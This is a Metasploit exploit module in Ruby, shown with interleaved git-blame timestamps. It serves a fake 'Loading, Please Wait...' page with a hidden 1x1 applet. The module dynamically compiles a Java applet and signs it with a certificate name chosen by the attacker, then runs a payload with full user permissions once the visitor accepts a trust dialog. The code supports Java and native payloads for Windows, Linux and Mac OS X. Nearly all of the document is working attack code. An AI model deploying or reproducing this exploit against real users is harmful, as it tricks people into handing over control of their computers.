2010-01-27 19:46:39 +00:00
##
2010-01-27 20:20:32 +00:00
# $Id$
2010-01-27 19:46:39 +00:00
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpServer :: HTML
include Msf :: Exploit :: Java
2010-09-20 04:38:13 +00:00
include Msf :: Exploit :: EXE
2010-01-27 19:46:39 +00:00
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'Signed Applet Social Engineering Code Exec' ,
'Description' = > %q{
2010-04-30 08:40:19 +00:00
This exploit dynamically creates an applet via the Msf :: Exploit :: Java mixin , converts it
to a . jar file , then signs the . jar with a dynamically created certificate containing
values of your choosing . This is presented to the end user via a web page with an applet
2010-01-27 19:46:39 +00:00
tag , loading the signed applet .
2010-04-30 08:40:19 +00:00
The user ' s JVM pops a dialog asking if they trust the signed applet and displays the
values chosen . Once the user clicks 'accept' , the applet executes with full user
2010-01-27 19:46:39 +00:00
permissions .
The java payload used in this exploit is derived from Stephen Fewer 's and HDM' s payload
created for the CVE - 2008 - 5353 java deserialization exploit .
This module requires the rjb rubygem , the JDK , and the $JAVA_HOME variable to be set .
If these dependencies are not present , the exploit falls back to a static , signed
JAR .
} ,
'License' = > MSF_LICENSE ,
'Author' = > [ 'natron' ] ,
2010-01-27 20:20:32 +00:00
'Version' = > '$Revision$' ,
2010-01-27 19:46:39 +00:00
'References' = >
2010-12-07 20:43:53 +00:00
[
[ 'URL' , 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ]
] ,
2010-11-30 03:50:40 +00:00
'Platform' = > [ 'java' , 'win' , 'osx' , 'linux' , 'solaris' ] ,
'Payload' = > { 'BadChars' = > '' , 'DisableNops' = > true } ,
2010-01-27 19:46:39 +00:00
'Targets' = >
[
[ 'Generic (Java Payload)' ,
{
2010-11-30 03:50:40 +00:00
'Platform' = > [ 'java' ] ,
'Arch' = > ARCH_JAVA
2010-01-27 19:46:39 +00:00
}
] ,
[ 'Windows x86 (Native Payload)' ,
{
'Platform' = > 'win' ,
'Arch' = > ARCH_X86 ,
}
] ,
2010-11-30 03:50:40 +00:00
[ 'Linux x86 (Native Payload)' ,
{
'Platform' = > 'linux' ,
'Arch' = > ARCH_X86 ,
}
] ,
2010-01-27 19:46:39 +00:00
[ 'Mac OS X PPC (Native Payload)' ,
{
'Platform' = > 'osx' ,
'Arch' = > ARCH_PPC ,
}
] ,
[ 'Mac OS X x86 (Native Payload)' ,
{
'Platform' = > 'osx' ,
'Arch' = > ARCH_X86 ,
}
2010-12-07 20:43:53 +00:00
]
2010-01-27 19:46:39 +00:00
] ,
2010-04-30 08:40:19 +00:00
'DefaultTarget' = > 1
) )
register_options (
[
OptString . new ( 'CERTCN' , [ true , " The CN= value for the certificate. " , " Metasploit Inc. " ] ) ,
OptString . new ( 'APPLETNAME' , [ true , " The main applet's class name. " , " SiteLoader " ] ) ,
2010-12-07 20:43:53 +00:00
#OptString.new('PAYLOADNAME', [ true, "The payload classes name.", "SiteSupport" ]),
2010-04-30 08:40:19 +00:00
# Not implemented yet.
#OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]),
2010-12-07 20:43:53 +00:00
# Needs Rex::Zip to be able to crack zip files
2010-04-30 08:40:19 +00:00
#OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]),
] , self . class )
2010-12-01 01:29:08 +00:00
# No source right now, so don't give an option to save it
#register_advanced_options(
# [
# OptString.new('SaveToFile', [ false, "When set, source is saved to this directory under external/source/", nil ])
# ], self.class)
2010-01-27 19:46:39 +00:00
end
2010-12-01 01:29:08 +00:00
def exploit
#
# Currently doing all processing in on_request_uri.
# If this is too slow, we can move applet generation up here.
#
@use_static = false
if not @jvm_init
print_error
print_error " The JDK failed to initialized: #{ @java_error } "
print_error " In order to dynamically sign the applet, you must install the Java Development Kit, the rjb gem, and set the JAVA_HOME environment variable. "
print_error
print_error " Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored. "
print_error
@use_static = true
2011-01-08 01:13:26 +00:00
else
2010-12-07 20:43:53 +00:00
cp = " #{ datastore [ " JavaCache " ] } : " + File . join ( Msf :: Config . data_directory , " java " )
compile ( [ " #{ datastore [ " APPLETNAME " ] } " ] , [ applet_code ] , [ " -classpath " , " #{ cp } " ] )
applet_file = File . join ( datastore [ " JavaCache " ] , " #{ datastore [ " APPLETNAME " ] } .class " )
@compiled_applet_data = File . open ( applet_file , " rb " ) { | f | f . read ( f . stat . size ) }
2010-12-01 01:29:08 +00:00
end
super
end
2010-01-27 19:46:39 +00:00
def on_request_uri ( cli , request )
2010-11-30 03:50:40 +00:00
payload = regenerate_payload ( cli )
if not payload
print_error ( " Failed to generate the payload. " )
# Send them a 404 so the browser doesn't hang waiting for data
# that will never come.
send_not_found ( cli )
return
end
2010-01-27 19:46:39 +00:00
if not request . uri . match ( / \ .jar$ /i )
if not request . uri . match ( / \/ $ / )
send_redirect ( cli , get_resource ( ) + '/' , '' )
return
end
print_status ( " Handling request from #{ cli . peerhost } : #{ cli . peerport } ... " )
2010-11-30 03:50:40 +00:00
send_response_html ( cli , generate_html , { 'Content-Type' = > 'text/html' } )
2010-01-27 23:15:36 +00:00
return
end
2010-04-30 08:40:19 +00:00
2010-11-30 03:50:40 +00:00
# If we haven't returned yet, then this is a request for our applet
# jar, build one for this victim.
2010-12-01 01:29:08 +00:00
jar = payload . encoded_jar
if @use_static
2010-12-07 20:43:53 +00:00
# Then build from the statically signed class files. Note that
# this uses a pre-compiled version of Payload.class, so any new
# updates to that file in the normal javapayload will not be
# reflected here!
applet_file = File . join ( Msf :: Config . data_directory , " exploits " , " java_signed_applet " , " SiteLoader.class " )
applet_data = File . open ( applet_file , " rb " ) { | f | f . read ( f . stat . size ) }
jar . add_file ( " SiteLoader.class " , applet_data )
2010-12-01 01:29:08 +00:00
print_status ( " Building statically signed jar for #{ cli . peerhost } " )
build_static_sig ( jar )
data = jar . to_s
else
2010-12-07 20:43:53 +00:00
# Then build from the class file we compiled in the exploit()
# method above.
jar . add_file ( " #{ datastore [ " APPLETNAME " ] } .class " , @compiled_applet_data )
2010-12-01 01:29:08 +00:00
print_status ( " Signing file for #{ cli . peerhost } " )
# The RJB signing class requires the jar to be an actual file on
# the filesystem, write it out.
File . open ( File . join ( datastore [ " JavaCache " ] , " tmp.jar " ) , 'wb' ) { | f | f . write ( jar . to_s ) }
sign_jar ( datastore [ " CERTCN " ] , " tmp.jar " , " signed.jar " )
# ... and read in the resulting signed jar
data = File . open ( File . join ( datastore [ " JavaCache " ] , " signed.jar " ) , " rb " ) { | f | f . read ( f . stat . size ) }
end
print_status ( " Sending #{ datastore [ 'APPLETNAME' ] } .jar to #{ cli . peerhost } : #{ cli . peerport } . Waiting for user to click 'accept'... " )
send_response ( cli , data . to_s , { 'Content-Type' = > " application/octet-stream " } )
handler ( cli )
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head> |
html += %Q|<body><center><p>Loading, Please Wait...</p></center> |
2010-12-07 20:43:53 +00:00
html += %Q|<applet archive="#{datastore["APPLETNAME"]}.jar"\n|
if @use_static
html += %Q| code="SiteLoader" width="1" height="1">\n|
else
html += %Q| code="#{datastore["APPLETNAME"]}" width="1" height="1">\n|
end
2010-12-01 01:29:08 +00:00
html += %Q|</applet></body></html>|
return html
end
2010-11-30 03:50:40 +00:00
2010-12-01 01:29:08 +00:00
def build_static_sig ( jar )
2010-11-30 03:50:40 +00:00
files = [
" metasploit/Payload.class " ,
2010-12-07 20:43:53 +00:00
" SiteLoader.class " ,
2010-11-30 03:50:40 +00:00
" META-INF/MANIFEST.MF " ,
2010-12-07 20:43:53 +00:00
" META-INF/SIGNFILE.RSA " ,
2010-11-30 03:50:40 +00:00
" META-INF/SIGNFILE.SF " ,
]
# Ghetto. Replace existing files in the Jar, then add in
# anything that wasn't replaced. The reason for replacing the
# .class files is to ensure that we're sending the
# Payload.class as was signed rather than a newer one that was
# updated without updating the signature. We'll just have to
# cross our fingers and hope that any updates don't break
# backwards compatibility in the handler until we can get
# signing to work from ruby. Once we can sign jars directly
# from ruby using OpenSSL, this won't be a problem.
replaced = [ ]
# Replace the ones that are already there.
jar . entries . map do | e |
file = File . join ( Msf :: Config . data_directory , " exploits " , " java_signed_applet " , e . name )
if File . file? file
File . open ( file , " rb " ) do | f |
e . data = f . read ( f . stat . size )
end
end
replaced << e . name
2010-01-27 19:46:39 +00:00
end
2010-11-30 03:50:40 +00:00
# Add the rest
files . each { | e |
next if replaced . include? e
file = File . join ( Msf :: Config . data_directory , " exploits " , " java_signed_applet " , e )
File . open ( file , " rb " ) do | f |
jar . add_file ( e , f . read ( f . stat . size ) )
end
}
2010-04-30 08:40:19 +00:00
2010-12-01 01:29:08 +00:00
jar
2010-01-27 19:46:39 +00:00
end
2010-12-07 20:43:53 +00:00
def applet_code
2011-01-08 01:13:26 +00:00
applet = <<-EOS
2010-12-07 20:43:53 +00:00
import java . applet . * ;
import metasploit . * ;
public class #{datastore["APPLETNAME"]} extends Applet {
2011-01-08 01:13:26 +00:00
public void init ( ) {
try {
Payload . main ( null ) ;
} catch ( Exception ex ) {
/ /ex . printStackTrace ( ) ;
}
}
2010-12-07 20:43:53 +00:00
}
2011-01-08 01:13:26 +00:00
EOS
2010-12-07 20:43:53 +00:00
end
2010-01-27 19:46:39 +00:00
end
2010-11-30 03:50:40 +00:00
2010-12-01 01:29:08 +00:00